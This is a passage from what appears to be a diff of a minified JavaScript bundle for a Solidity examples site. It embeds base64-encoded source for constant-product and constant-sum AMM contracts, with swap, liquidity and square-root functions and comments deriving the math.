iB0b3RhbFN1cHBseSkgLyByZXNlcnZlMQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZSgKICAgICAgICAgICAgdG9rZW4wLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5KHVpbnQyNTYgX3NoYXJlcykKICAgICAgICBleHRlcm5hbAogICAgICAgI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gICAqLwoKICAgICAgICAvLyBiYWwwID49IHJlc2VydmUwCiAgICAgICAgLy8gYmFsMSA+PSByZXNlcnZlMQogICAgICAgIHVpbnQyNTYgYmFsMCA9IHRva2VuMC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBiYWwxID0gdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYW1vdW50MCA9IChfc2hhcmVzICogYmFsMCkgLyB0b3RhbFN1cHBseTsKICAgICAgICBhbW91bnQxID0gKF9zaGFyZXMgKiBiYWwxKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIHJlcXVpcmUoYW1vdW50MCA+IDAgJiYgYW1vdW50MSA+IDAsICJhbW91bnQwIG9yIGFtb3VudDEgPSAwIik7CgogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIF9zaGFyZXMpOwogICAgICAgIF91cGRhdGUoYmFsMCAtIGFtb3VudDAsIGJhbDEgLSBhbW91bnQxKTsKCiAgICAgICAgdG9rZW4wLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQxKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Om=`

                    Constant product AMM XY = K

                    +`,Qm=({prev:s,next:a})=>r.jsx(A,{version:Sm,title:xm,description:Jm,cyfrinLink:zm,html:Em,prev:s,next:a,codes:Dm}),Tm="0.8.26",Um="Constant Product AMM",Lm="Constant product AMM",_m="",Om=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWE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2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKF9hbW91bnRJbiA+IDAsICJhbW91bnQgaW4gPSAwIik7CgogICAgICAgIGJvb2wgaXNUb2tlbjAgPSBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMCk7CiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzZXJ2ZUluLCB1aW50MjU2IHJlc2VydmVPdXQpCiAgICAgICAgPSBpc1Rva2VuMAogICAgICAgICAgICA/ICh0b2tlbjAsIHRva2VuMSwgcmVzZXJ2ZTAsIHJlc2VydmUxKQogICAgICAgICAgICA6ICh0b2tlbjEsIHRva2VuMCwgcmVzZXJ2ZTEsIHJlc2VydmUwKTsKCiAgICAgICAgdG9rZW5Jbi50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEluKTsKCiAgICAgICAgLyoKICAgICAgICBIb3cgbXVjaCBkeSBmb3IgZHg/CgogICAgICAgIHh5ID0gawogICAgICAgICh4ICsgZHgpKHkgLSBkeSkgPSBrCiAgICAgICAgeSAtIGR5ID0gayAvICh4ICsgZHgpCiAgICAgICAgeSAtIGsgLyAoeCArIGR4KSA9IGR5CiAgICAgICAgeSAtIHh5IC8gKHggKyBkeCkgPSBkeQogICAgICAgICh5eCArIHlkeCAtIHh5KSAvICh4ICsgZHgpID0gZHkKICAgICAgICB5ZHggLyAoeCArIGR4KSA9IGR5CiAgICAgICAgKi8KICAgICAgICAvLyAwLjMlIGZlZQogICAgICAgIHVpbnQyNTYgYW1vdW50SW5XaXRoRmVlID0gKF9hbW91bnRJbiAqIDk5NykgLyAxMDAwOwogICAgICAgIGFtb3VudE91dCA9CiAgICAgICAgICAgIChyZXNlcnZlT3V0ICogYW1vdW50SW5XaXRoRmVlKSAvIChyZXNlcnZlSW4gKyBhbW91bnRJbldpdGhGZWUpOwoKICAgICAgICB0b2tlbk91dC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwoKICAgICAgICBfdXBkYXRlKAogICAgICAgICAgICB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCB0b2tlbjEuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR4LCBkeSB0byBhZGQ/CgogICAgICAgIHh5ID0gawogICAgICAgICh4ICsgZHgpKHkgKyBkeSkgPSBrJwoKICAgICAgICBObyBwcmljZSBjaGFuZ2UsIGJlZm9yZSBhbmQgYWZ0ZXIgYWRkaW5nIGxpcXVpZGl0eQogICAgICAgIHggLyB5ID0gKHggKyBkeCkgLyAoeSArIGR5KQoKICAgICAgICB4KHkgKyBkeSkgPSB5KHggKyBkeCkKICAgICAgICB4ICogZHkgPSB5ICogZHgKCiAgICAgICAgeCAvIHkgPSBkeCAvIGR5CiAgICAgICAgZHkgPSB5IC8geCAqIGR4CiAgICAgICAgKi8KICAgICAgICBpZiAocmVzZXJ2ZTAgPiAwIHx8IHJlc2VydmUxID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgcmVzZXJ2ZTAgKiBfYW1vdW50MSA9PSByZXNlcnZlMSAqIF9hbW91bnQwLCAieCAvIHkgIT0gZHggLyBkeSIKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIC8qCiAgICAgICAgSG93IG11Y2ggc2hhcmVzIHRvIG1pbnQ/CgogICAgICAgIGYoeCwgeSkgPSB2YWx1ZSBvZiBsaXF1aWRpdHkKICAgICAgICBXZSB3aWxsIGRlZmluZSBmKHgsIHkpID0gc3FydCh4eSkKCiAgICAgICAgTDAgPSBmKHgsIHkpCiAgICAgICAgTDEgPSBmKHggKyBkeCwgeSArIGR5KQogICAgICAgIFQgPSB0b3RhbCBzaGFyZXMKICAgICAgICBzID0gc2hhcmVzIHRvIG1pbnQKCiAgICAgICAgVG90YWwgc2hhcmVzIHNob3VsZCBpbmNyZWFzZSBwcm9wb3J0aW9uYWwgdG8gaW5jcmVhc2UgaW4gbGlxdWlkaXR5CiAgICAgICAgTDEgLyBMMCA9IChUICsgcykgLyBUCgogICAgICAgIEwxICogVCA9IEwwICogKFQgKyBzKQoKICAgICAgICAoTDEgLSBMMCkgKiBUIC8gTDAgPSBzIAogICAgICAgICovCgogICAgICAgIC8qCiAgICAgICAgQ2xhaW0KICAgICAgICAoTDEgLSBMMCkgLyBMMCA9IGR4IC8geCA9IGR5IC8geQoKICAgICAgICBQcm9vZgogICAgICAgIC0tLSBFcXVhdGlvbiAxIC0tLQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gKHNxcnQoKHggKyBkeCkoeSArIGR5KSkgLSBzcXJ0KHh5KSkgLyBzcXJ0KHh5KQogICAgICAgIAogICAgICAgIGR4IC8gZHkgPSB4IC8geSBzbyByZXBsYWNlIGR5ID0gZHggKiB5IC8geAoKICAgICAgICAtLS0gRXF1YXRpb24gMiAtLS0KICAgICAgICBFcXVhdGlvbiAxID0gKHNxcnQoeHkgKyAyeWR4ICsgZHheMiAqIHkgLyB4KSAtIHNxcnQoeHkpKSAvIHNxcnQoeHkpCgogICAgICAgIE11bHRpcGx5IGJ5IHNxcnQoeCkgLyBzcXJ0KHgpCiAgICAgICAgRXF1YXRpb24gMiA9IChzcXJ0KHheMnkgKyAyeHlkeCArIGR4XjIgKiB5KSAtIHNxcnQoeF4yeSkpIC8gc3FydCh4XjJ5KQogICAgICAgICAgICAgICAgICAgPSAoc3FydCh5KShzcXJ0KHheMiArIDJ4ZHggKyBkeF4yKSAtIHNxcnQoeF4yKSkgLyAoc3FydCh5KXNxcnQoeF4yKSkKICAgICAgICAKICAgICAgICBzcXJ0KHkpIG9uIHRvcCBhbmQgYm90dG9tIGNhbmNlbHMgb3V0CgogICAgICAgIC0tLSBFcXVhdGlvbiAzIC0tLQogICAgICAgIEVxdWF0aW9uIDIgPSAoc3FydCh4XjIgKyAyeGR4ICsgZHheMikgLSBzcXJ0KHheMikpIC8gKHNxcnQoeF4yKQogICAgICAgID0gKHNxcnQoKHggKyBkeCleMikgLSBzcXJ0KHheMikpIC8gc3FydCh4XjIpICAKICAgICAgICA9ICgoeCArIGR4KSAtIHgpIC8geAogICAgICAgID0gZHggLyB4CgogICAgICAgIFNpbmNlIGR4IC8gZHkgPSB4IC8geSwKICAgICAgICBkeCAvIHggPSBkeSAvIHkKCiAgICAgICAgRmluYWxseQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gZHggLyB4ID0gZHkgLyB5CiAgICAgICAgKi8KICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewogICAgICAgICAgICBzaGFyZXMgPSBfc3FydChfYW1vdW50MCAqIF9hbW91bnQxKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBfbWluKAogICAgICAgICAgICAgICAgKF9hbW91bnQwICogdG90YWxTdXBwbHkpIC8gcmVzZXJ2ZTAsCiAgICAgICAgICAgICAgICAoX2Ftb3VudDEgKiB0b3RhbFN1cHBseSkgLyByZXNlcnZlMQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZSgKICAgICAgICAgICAgdG9rZW4wLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5KHVpbnQyNTYgX3NoYXJlcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50MCwgdWludDI1NiBhbW91bnQxKQogICAgewogICAgICAgIC8qCiAgICAgICAgQ2xhaW0KICAgICAgICBkeCwgZHkgPSBhbW91bnQgb2YgbGlxdWlkaXR5IHRvIHJlbW92ZQogICAgICAgIGR4ID0gcyAvIFQgKiB4CiAgICAgICAgZHkgPSBzIC8gVCAqIHkKCiAgICAgICAgUHJvb2YKICAgICAgICBMZXQncyBmaW5kIGR4LCBkeSBzdWNoIHRoYXQKICAgICAgICB2IC8gTCA9IHMgLyBUCiAgICAgICAgCiAgICAgICAgd2hlcmUKICAgICAgICB2ID0gZihkeCwgZHkpID0gc3FydChkeGR5KQogICAgICAgIEwgPSB0b3RhbCBsaXF1aWRpdHkgPSBzcXJ0KHh5KQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIC0tLSBFcXVhdGlvbiAxIC0tLQogICAgICAgIHYgPSBzIC8gVCAqIEwKICAgICAgICBzcXJ0KGR4ZHkpID0gcyAvIFQgKiBzcXJ0KHh5KQoKICAgICAgICBBbW91bnQgb2YgbGlxdWlkaXR5IHRvIHJlbW92ZSBtdXN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VuZGVyLCBhbW91bnQxKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Pm=`

                    Constant product AMM XY = K

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -4467,7 +4467,7 @@ specify the location of the data.

                    external returns (bool); } -
                    `,Pm=({prev:s,next:a})=>r.jsx(A,{version:Qm,title:Tm,description:Um,cyfrinLink:_m,html:Om,prev:s,next:a,codes:Lm}),$m="0.8.26",qm="Constant Sum AMM",sb="Constant sum AMM",ab="",nb=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBM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91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],lb=`

                    Constant sum AMM X + Y = K

                    +`,$m=({prev:s,next:a})=>r.jsx(A,{version:Tm,title:Um,description:Lm,cyfrinLink:_m,html:Pm,prev:s,next:a,codes:Om}),qm="0.8.26",sb="Constant Sum AMM",ab="Constant sum AMM",nb="",lb=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgd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cnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgK